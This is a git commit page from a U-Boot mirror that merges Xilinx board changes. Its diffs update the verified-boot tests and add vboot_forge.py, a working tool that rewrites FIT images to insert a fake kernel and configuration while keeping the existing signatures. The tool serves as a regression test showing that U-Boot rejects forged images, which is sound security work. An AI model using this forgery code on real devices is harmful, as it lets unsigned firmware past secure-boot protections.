1
0
mirror of https://xff.cz/git/u-boot/ synced 2025-09-01 08:42:12 +02:00
Xilinx changes for v2020.07

common:
- Align ENV_FAT_INTERFACE
- Fix MAC address source print log
- Improve based autodetection code

xilinx:
- Enable netconsole

Microblaze:
- Setup default ENV_OFFSET/ENV_SECT_SIZE

Zynq:
- Multiple DT updates/fixes
- Use DEVICE_TREE environment variable for DTB selection
- Switch to single zynq configuration
- Enable NOR flash via DM
- Minor SPL print removal
- Enable i2c mux driver

ZynqMP:
- Print multiboot register
- Enable cache commands in mini mtest
- Multiple DT updates/fixes
- Fix firmware probing when driver is not enabled
- Specify 3rd backup RAM boot mode in SPL
- Add SPL support for zcu102 v1.1 and zcu111 revA
- Redesign debug uart enabling and psu_init delay
- Enable full u-boot run from EL3
- Enable u-boot.itb generation without ATF with U-Boot in EL3

Versal:
- Enable distro default
- Enable others SPI flashes
- Enable systems without DDR

Drivers:
- Gem:
  - Flush memory after freeing
  - Handle mdio bus separately
- Watchdog:
  - Get rid of unused global data pointer
  - Enable window watchdog timer
- Serial:
  - Change reinitialization logic in zynq serial driver

Signed-off-by: Tom Rini <trini@konsulko.com>
This commit is contained in:
Tom Rini
2020-04-07 11:58:44 -04:00
426 changed files with 6837 additions and 4492 deletions

View File

@@ -141,12 +141,13 @@ def fetch_tftp_file(u_boot_console, env_conf):
return addr
@pytest.mark.buildconfigspec('of_control')
@pytest.mark.buildconfigspec('cmd_bootefi_hello_compile')
def test_efi_helloworld_net(u_boot_console):
"""Run the helloworld.efi binary via TFTP.
The helloworld.efi file is downloaded from the TFTP server and gets
executed.
The helloworld.efi file is downloaded from the TFTP server and is executed
using the fallback device tree at $fdtcontroladdr.
"""
addr = fetch_tftp_file(u_boot_console, 'env__efi_loader_helloworld_file')
@@ -169,6 +170,7 @@ def test_efi_helloworld_builtin(u_boot_console):
expected_text = 'Hello, world'
assert expected_text in output
@pytest.mark.buildconfigspec('of_control')
@pytest.mark.buildconfigspec('cmd_bootefi')
def test_efi_grub_net(u_boot_console):
"""Run the grub.efi binary via TFTP.

View File

@@ -24,10 +24,18 @@ For configuration verification:
Tests run with both SHA1 and SHA256 hashing.
"""
import pytest
import sys
import struct
import pytest
import u_boot_utils as util
import vboot_forge
TESTDATA = [
['sha1', '', False],
['sha1', '-pss', False],
['sha256', '', False],
['sha256', '-pss', False],
['sha256', '-pss', True],
]
@pytest.mark.boardspec('sandbox')
@pytest.mark.buildconfigspec('fit_signature')
@@ -35,7 +43,8 @@ import u_boot_utils as util
@pytest.mark.requiredtool('fdtget')
@pytest.mark.requiredtool('fdtput')
@pytest.mark.requiredtool('openssl')
def test_vboot(u_boot_console):
@pytest.mark.parametrize("sha_algo,padding,required", TESTDATA)
def test_vboot(u_boot_console, sha_algo, padding, required):
"""Test verified boot signing with mkimage and verification with 'bootm'.
This works using sandbox only as it needs to update the device tree used
@@ -75,13 +84,14 @@ def test_vboot(u_boot_console):
with cons.log.section('Verified boot %s %s' % (sha_algo, test_type)):
output = cons.run_command_list(
['host load hostfs - 100 %stest.fit' % tmpdir,
'fdt addr 100',
'bootm 100'])
assert(expect_string in ''.join(output))
'fdt addr 100',
'bootm 100'])
assert expect_string in ''.join(output)
if boots:
assert('sandbox: continuing, as we cannot run' in ''.join(output))
assert 'sandbox: continuing, as we cannot run' in ''.join(output)
else:
assert('sandbox: continuing, as we cannot run' not in ''.join(output))
assert('sandbox: continuing, as we cannot run'
not in ''.join(output))
def make_fit(its):
"""Make a new FIT from the .its source file.
@@ -108,20 +118,6 @@ def test_vboot(u_boot_console):
util.run_and_log(cons, [mkimage, '-F', '-k', tmpdir, '-K', dtb,
'-r', fit])
def sign_fit_norequire(sha_algo):
"""Sign the FIT
Signs the FIT and writes the signature into it. It also writes the
public key into the dtb.
Args:
sha_algo: Either 'sha1' or 'sha256', to select the algorithm to
use.
"""
cons.log.action('%s: Sign images' % sha_algo)
util.run_and_log(cons, [mkimage, '-F', '-k', tmpdir, '-K', dtb,
fit])
def replace_fit_totalsize(size):
"""Replace FIT header's totalsize with something greater.
@@ -142,6 +138,22 @@ def test_vboot(u_boot_console):
handle.write(struct.pack(">I", size))
return struct.unpack(">I", total_size)[0]
def create_rsa_pair(name):
"""Generate a new RSA key paid and certificate
Args:
name: Name of of the key (e.g. 'dev')
"""
public_exponent = 65537
util.run_and_log(cons, 'openssl genpkey -algorithm RSA -out %s%s.key '
'-pkeyopt rsa_keygen_bits:2048 '
'-pkeyopt rsa_keygen_pubexp:%d' %
(tmpdir, name, public_exponent))
# Create a certificate containing the public key
util.run_and_log(cons, 'openssl req -batch -new -x509 -key %s%s.key '
'-out %s%s.crt' % (tmpdir, name, tmpdir, name))
def test_with_algo(sha_algo, padding):
"""Test verified boot with the given hash algorithm.
@@ -160,7 +172,7 @@ def test_vboot(u_boot_console):
# Build the FIT, but don't sign anything yet
cons.log.action('%s: Test FIT with signed images' % sha_algo)
make_fit('sign-images-%s%s.its' % (sha_algo , padding))
make_fit('sign-images-%s%s.its' % (sha_algo, padding))
run_bootm(sha_algo, 'unsigned images', 'dev-', True)
# Sign images with our dev keys
@@ -171,7 +183,7 @@ def test_vboot(u_boot_console):
dtc('sandbox-u-boot.dts')
cons.log.action('%s: Test FIT with signed configuration' % sha_algo)
make_fit('sign-configs-%s%s.its' % (sha_algo , padding))
make_fit('sign-configs-%s%s.its' % (sha_algo, padding))
run_bootm(sha_algo, 'unsigned config', '%s+ OK' % sha_algo, True)
# Sign images with our dev keys
@@ -180,14 +192,29 @@ def test_vboot(u_boot_console):
cons.log.action('%s: Check signed config on the host' % sha_algo)
util.run_and_log(cons, [fit_check_sign, '-f', fit, '-k', tmpdir,
'-k', dtb])
util.run_and_log(cons, [fit_check_sign, '-f', fit, '-k', dtb])
# Replace header bytes
# Make sure that U-Boot checks that the config is in the list of hashed
# nodes. If it isn't, a security bypass is possible.
with open(fit, 'rb') as fd:
root, strblock = vboot_forge.read_fdt(fd)
root, strblock = vboot_forge.manipulate(root, strblock)
with open(fit, 'w+b') as fd:
vboot_forge.write_fdt(root, strblock, fd)
util.run_and_log_expect_exception(
cons, [fit_check_sign, '-f', fit, '-k', dtb],
1, 'Failed to verify required signature')
run_bootm(sha_algo, 'forged config', 'Bad Data Hash', False)
# Create a new properly signed fit and replace header bytes
make_fit('sign-configs-%s%s.its' % (sha_algo, padding))
sign_fit(sha_algo)
bcfg = u_boot_console.config.buildconfig
max_size = int(bcfg.get('config_fit_signature_max_size', 0x10000000), 0)
existing_size = replace_fit_totalsize(max_size + 1)
run_bootm(sha_algo, 'Signed config with bad hash', 'Bad Data Hash', False)
run_bootm(sha_algo, 'Signed config with bad hash', 'Bad Data Hash',
False)
cons.log.action('%s: Check overflowed FIT header totalsize' % sha_algo)
# Replace with existing header bytes
@@ -205,21 +232,22 @@ def test_vboot(u_boot_console):
util.run_and_log(cons, 'fdtput -t bx %s %s value %s' %
(fit, sig_node, sig))
run_bootm(sha_algo, 'Signed config with bad hash', 'Bad Data Hash', False)
run_bootm(sha_algo, 'Signed config with bad hash', 'Bad Data Hash',
False)
cons.log.action('%s: Check bad config on the host' % sha_algo)
util.run_and_log_expect_exception(cons, [fit_check_sign, '-f', fit,
'-k', dtb], 1, 'Failed to verify required signature')
util.run_and_log_expect_exception(
cons, [fit_check_sign, '-f', fit, '-k', dtb],
1, 'Failed to verify required signature')
def test_required_key(sha_algo, padding):
"""Test verified boot with the given hash algorithm.
This function test if u-boot reject an image when a required
key isn't used to sign a FIT.
This function tests if U-Boot rejects an image when a required key isn't
used to sign a FIT.
Args:
sha_algo: Either 'sha1' or 'sha256', to select the algorithm to
use.
sha_algo: Either 'sha1' or 'sha256', to select the algorithm to use
"""
# Compile our device tree files for kernel and U-Boot. These are
# regenerated here since mkimage will modify them (by adding a
@@ -227,22 +255,27 @@ def test_vboot(u_boot_console):
dtc('sandbox-kernel.dts')
dtc('sandbox-u-boot.dts')
# Build the FIT with prod key (keys required)
# Build the FIT with dev key (keys NOT required)
# The dtb contain the key prod and dev and the key prod are set as required.
# Then try to boot the FIT with dev key
# This FIT should not be accepted by u-boot because the key prod is required
cons.log.action('%s: Test FIT with configs images' % sha_algo)
make_fit('sign-configs-%s%s-prod.its' % (sha_algo , padding))
sign_fit(sha_algo)
make_fit('sign-configs-%s%s.its' % (sha_algo , padding))
# Build the FIT with prod key (keys required) and sign it. This puts the
# signature into sandbox-u-boot.dtb, marked 'required'
make_fit('sign-configs-%s%s-prod.its' % (sha_algo, padding))
sign_fit(sha_algo)
run_bootm(sha_algo, 'signed configs', '', False)
# Build the FIT with dev key (keys NOT required). This adds the
# signature into sandbox-u-boot.dtb, NOT marked 'required'.
make_fit('sign-configs-%s%s.its' % (sha_algo, padding))
sign_fit(sha_algo)
# So now sandbox-u-boot.dtb two signatures, for the prod and dev keys.
# Only the prod key is set as 'required'. But FIT we just built has
# a dev signature only (sign_fit() overwrites the FIT).
# Try to boot the FIT with dev key. This FIT should not be accepted by
# U-Boot because the prod key is required.
run_bootm(sha_algo, 'required key', '', False)
cons = u_boot_console
tmpdir = cons.config.result_dir + '/'
tmp = tmpdir + 'vboot.tmp'
datadir = cons.config.source_dir + '/test/py/tests/vboot/'
fit = '%stest.fit' % tmpdir
mkimage = cons.config.build_dir + '/tools/mkimage'
@@ -251,42 +284,22 @@ def test_vboot(u_boot_console):
dtb = '%ssandbox-u-boot.dtb' % tmpdir
sig_node = '/configurations/conf-1/signature'
# Create an RSA key pair
public_exponent = 65537
util.run_and_log(cons, 'openssl genpkey -algorithm RSA -out %sdev.key '
'-pkeyopt rsa_keygen_bits:2048 '
'-pkeyopt rsa_keygen_pubexp:%d' %
(tmpdir, public_exponent))
# Create a certificate containing the public key
util.run_and_log(cons, 'openssl req -batch -new -x509 -key %sdev.key -out '
'%sdev.crt' % (tmpdir, tmpdir))
# Create an RSA key pair (prod)
public_exponent = 65537
util.run_and_log(cons, 'openssl genpkey -algorithm RSA -out %sprod.key '
'-pkeyopt rsa_keygen_bits:2048 '
'-pkeyopt rsa_keygen_pubexp:%d' %
(tmpdir, public_exponent))
# Create a certificate containing the public key (prod)
util.run_and_log(cons, 'openssl req -batch -new -x509 -key %sprod.key -out '
'%sprod.crt' % (tmpdir, tmpdir))
create_rsa_pair('dev')
create_rsa_pair('prod')
# Create a number kernel image with zeroes
with open('%stest-kernel.bin' % tmpdir, 'w') as fd:
fd.write(5000 * chr(0))
fd.write(500 * chr(0))
try:
# We need to use our own device tree file. Remember to restore it
# afterwards.
old_dtb = cons.config.dtb
cons.config.dtb = dtb
test_with_algo('sha1','')
test_with_algo('sha1','-pss')
test_with_algo('sha256','')
test_with_algo('sha256','-pss')
test_required_key('sha256','-pss')
if required:
test_required_key(sha_algo, padding)
else:
test_with_algo(sha_algo, padding)
finally:
# Go back to the original U-Boot with the correct dtb.
cons.config.dtb = old_dtb

View File

@@ -0,0 +1,423 @@
#!/usr/bin/python3
# SPDX-License-Identifier: GPL-2.0
# Copyright (c) 2020, F-Secure Corporation, https://foundry.f-secure.com
#
# pylint: disable=E1101,W0201,C0103
"""
Verified boot image forgery tools and utilities
This module provides services to both take apart and regenerate FIT images
in a way that preserves all existing verified boot signatures, unless you
manipulate nodes in the process.
"""
import struct
import binascii
from io import BytesIO
#
# struct parsing helpers
#
class BetterStructMeta(type):
"""
Preprocesses field definitions and creates a struct.Struct instance from them
"""
def __new__(cls, clsname, superclasses, attributedict):
if clsname != 'BetterStruct':
fields = attributedict['__fields__']
field_types = [_[0] for _ in fields]
field_names = [_[1] for _ in fields if _[1] is not None]
attributedict['__names__'] = field_names
s = struct.Struct(attributedict.get('__endian__', '') + ''.join(field_types))
attributedict['__struct__'] = s
attributedict['size'] = s.size
return type.__new__(cls, clsname, superclasses, attributedict)
class BetterStruct(metaclass=BetterStructMeta):
"""
Base class for better structures
"""
def __init__(self):
for t, n in self.__fields__:
if 's' in t:
setattr(self, n, '')
elif t in ('Q', 'I', 'H', 'B'):
setattr(self, n, 0)
@classmethod
def unpack_from(cls, buffer, offset=0):
"""
Unpack structure instance from a buffer
"""
fields = cls.__struct__.unpack_from(buffer, offset)
instance = cls()
for n, v in zip(cls.__names__, fields):
setattr(instance, n, v)
return instance
def pack(self):
"""
Pack structure instance into bytes
"""
return self.__struct__.pack(*[getattr(self, n) for n in self.__names__])
def __str__(self):
items = ["'%s': %s" % (n, repr(getattr(self, n))) for n in self.__names__ if n is not None]
return '(' + ', '.join(items) + ')'
#
# some defs for flat DT data
#
class HeaderV17(BetterStruct):
__endian__ = '>'
__fields__ = [
('I', 'magic'),
('I', 'totalsize'),
('I', 'off_dt_struct'),
('I', 'off_dt_strings'),
('I', 'off_mem_rsvmap'),
('I', 'version'),
('I', 'last_comp_version'),
('I', 'boot_cpuid_phys'),
('I', 'size_dt_strings'),
('I', 'size_dt_struct'),
]
class RRHeader(BetterStruct):
__endian__ = '>'
__fields__ = [
('Q', 'address'),
('Q', 'size'),
]
class PropHeader(BetterStruct):
__endian__ = '>'
__fields__ = [
('I', 'value_size'),
('I', 'name_offset'),
]
# magical constants for DTB format
OF_DT_HEADER = 0xd00dfeed
OF_DT_BEGIN_NODE = 1
OF_DT_END_NODE = 2
OF_DT_PROP = 3
OF_DT_END = 9
class StringsBlock:
"""
Represents a parsed device tree string block
"""
def __init__(self, values=None):
if values is None:
self.values = []
else:
self.values = values
def __getitem__(self, at):
if isinstance(at, str):
offset = 0
for value in self.values:
if value == at:
break
offset += len(value) + 1
else:
self.values.append(at)
return offset
if isinstance(at, int):
offset = 0
for value in self.values:
if offset == at:
return value
offset += len(value) + 1
raise IndexError('no string found corresponding to the given offset')
raise TypeError('only strings and integers are accepted')
class Prop:
"""
Represents a parsed device tree property
"""
def __init__(self, name=None, value=None):
self.name = name
self.value = value
def clone(self):
return Prop(self.name, self.value)
def __repr__(self):
return "<Prop(name='%s', value=%s>" % (self.name, repr(self.value))
class Node:
"""
Represents a parsed device tree node
"""
def __init__(self, name=None):
self.name = name
self.props = []
self.children = []
def clone(self):
o = Node(self.name)
o.props = [x.clone() for x in self.props]
o.children = [x.clone() for x in self.children]
return o
def __getitem__(self, index):
return self.children[index]
def __repr__(self):
return "<Node('%s'), %s, %s>" % (self.name, repr(self.props), repr(self.children))
#
# flat DT to memory
#
def parse_strings(strings):
"""
Converts the bytes into a StringsBlock instance so it is convenient to work with
"""
strings = strings.split(b'\x00')
return StringsBlock(strings)
def parse_struct(stream):
"""
Parses DTB structure(s) into a Node or Prop instance
"""
tag = bytearray(stream.read(4))[3]
if tag == OF_DT_BEGIN_NODE:
name = b''
while b'\x00' not in name:
name += stream.read(4)
name = name.rstrip(b'\x00')
node = Node(name)
item = parse_struct(stream)
while item is not None:
if isinstance(item, Node):
node.children.append(item)
elif isinstance(item, Prop):
node.props.append(item)
item = parse_struct(stream)
return node
if tag == OF_DT_PROP:
h = PropHeader.unpack_from(stream.read(PropHeader.size))
length = (h.value_size + 3) & (~3)
value = stream.read(length)[:h.value_size]
prop = Prop(h.name_offset, value)
return prop
if tag in (OF_DT_END_NODE, OF_DT_END):
return None
raise ValueError('unexpected tag value')
def read_fdt(fp):
"""
Reads and parses the flattened device tree (or derivatives like FIT)
"""
header = HeaderV17.unpack_from(fp.read(HeaderV17.size))
if header.magic != OF_DT_HEADER:
raise ValueError('invalid magic value %08x; expected %08x' % (header.magic, OF_DT_HEADER))
# TODO: read/parse reserved regions
fp.seek(header.off_dt_struct)
structs = fp.read(header.size_dt_struct)
fp.seek(header.off_dt_strings)
strings = fp.read(header.size_dt_strings)
strblock = parse_strings(strings)
root = parse_struct(BytesIO(structs))
return root, strblock
#
# memory to flat DT
#
def compose_structs_r(item):
"""
Recursive part of composing Nodes and Props into a bytearray
"""
t = bytearray()
if isinstance(item, Node):
t.extend(struct.pack('>I', OF_DT_BEGIN_NODE))
if isinstance(item.name, str):
item.name = bytes(item.name, 'utf-8')
name = item.name + b'\x00'
if len(name) & 3:
name += b'\x00' * (4 - (len(name) & 3))
t.extend(name)
for p in item.props:
t.extend(compose_structs_r(p))
for c in item.children:
t.extend(compose_structs_r(c))
t.extend(struct.pack('>I', OF_DT_END_NODE))
elif isinstance(item, Prop):
t.extend(struct.pack('>I', OF_DT_PROP))
value = item.value
h = PropHeader()
h.name_offset = item.name
if value:
h.value_size = len(value)
t.extend(h.pack())
if len(value) & 3:
value += b'\x00' * (4 - (len(value) & 3))
t.extend(value)
else:
h.value_size = 0
t.extend(h.pack())
return t
def compose_structs(root):
"""
Composes the parsed Nodes into a flat bytearray instance
"""
t = compose_structs_r(root)
t.extend(struct.pack('>I', OF_DT_END))
return t
def compose_strings(strblock):
"""
Composes the StringsBlock instance back into a bytearray instance
"""
b = bytearray()
for s in strblock.values:
b.extend(s)
b.append(0)
return bytes(b)
def write_fdt(root, strblock, fp):
"""
Writes out a complete flattened device tree (or FIT)
"""
header = HeaderV17()
header.magic = OF_DT_HEADER
header.version = 17
header.last_comp_version = 16
fp.write(header.pack())
header.off_mem_rsvmap = fp.tell()
fp.write(RRHeader().pack())
structs = compose_structs(root)
header.off_dt_struct = fp.tell()
header.size_dt_struct = len(structs)
fp.write(structs)
strings = compose_strings(strblock)
header.off_dt_strings = fp.tell()
header.size_dt_strings = len(strings)
fp.write(strings)
header.totalsize = fp.tell()
fp.seek(0)
fp.write(header.pack())
#
# pretty printing / converting to DT source
#
def as_bytes(value):
return ' '.join(["%02X" % x for x in value])
def prety_print_value(value):
"""
Formats a property value as appropriate depending on the guessed data type
"""
if not value:
return '""'
if value[-1] == b'\x00':
printable = True
for x in value[:-1]:
x = ord(x)
if x != 0 and (x < 0x20 or x > 0x7F):
printable = False
break
if printable:
value = value[:-1]
return ', '.join('"' + x + '"' for x in value.split(b'\x00'))
if len(value) > 0x80:
return '[' + as_bytes(value[:0x80]) + ' ... ]'
return '[' + as_bytes(value) + ']'
def pretty_print_r(node, strblock, indent=0):
"""
Prints out a single node, recursing further for each of its children
"""
spaces = ' ' * indent
print((spaces + '%s {' % (node.name.decode('utf-8') if node.name else '/')))
for p in node.props:
print((spaces + ' %s = %s;' % (strblock[p.name].decode('utf-8'), prety_print_value(p.value))))
for c in node.children:
pretty_print_r(c, strblock, indent+1)
print((spaces + '};'))
def pretty_print(node, strblock):
"""
Generates an almost-DTS formatted printout of the parsed device tree
"""
print('/dts-v1/;')
pretty_print_r(node, strblock, 0)
#
# manipulating the DT structure
#
def manipulate(root, strblock):
"""
Maliciously manipulates the structure to create a crafted FIT file
"""
# locate /images/kernel@1 (frankly, it just expects it to be the first one)
kernel_node = root[0][0]
# clone it to save time filling all the properties
fake_kernel = kernel_node.clone()
# rename the node
fake_kernel.name = b'kernel@2'
# get rid of signatures/hashes
fake_kernel.children = []
# NOTE: this simply replaces the first prop... either description or data
# should be good for testing purposes
fake_kernel.props[0].value = b'Super 1337 kernel\x00'
# insert the new kernel node under /images
root[0].children.append(fake_kernel)
# modify the default configuration
root[1].props[0].value = b'conf@2\x00'
# clone the first (only?) configuration
fake_conf = root[1][0].clone()
# rename and change kernel and fdt properties to select the crafted kernel
fake_conf.name = b'conf@2'
fake_conf.props[0].value = b'kernel@2\x00'
fake_conf.props[1].value = b'fdt@1\x00'
# insert the new configuration under /configurations
root[1].children.append(fake_conf)
return root, strblock
def main(argv):
with open(argv[1], 'rb') as fp:
root, strblock = read_fdt(fp)
print("Before:")
pretty_print(root, strblock)
root, strblock = manipulate(root, strblock)
print("After:")
pretty_print(root, strblock)
with open('blah', 'w+b') as fp:
write_fdt(root, strblock, fp)
if __name__ == '__main__':
import sys
main(sys.argv)
# EOF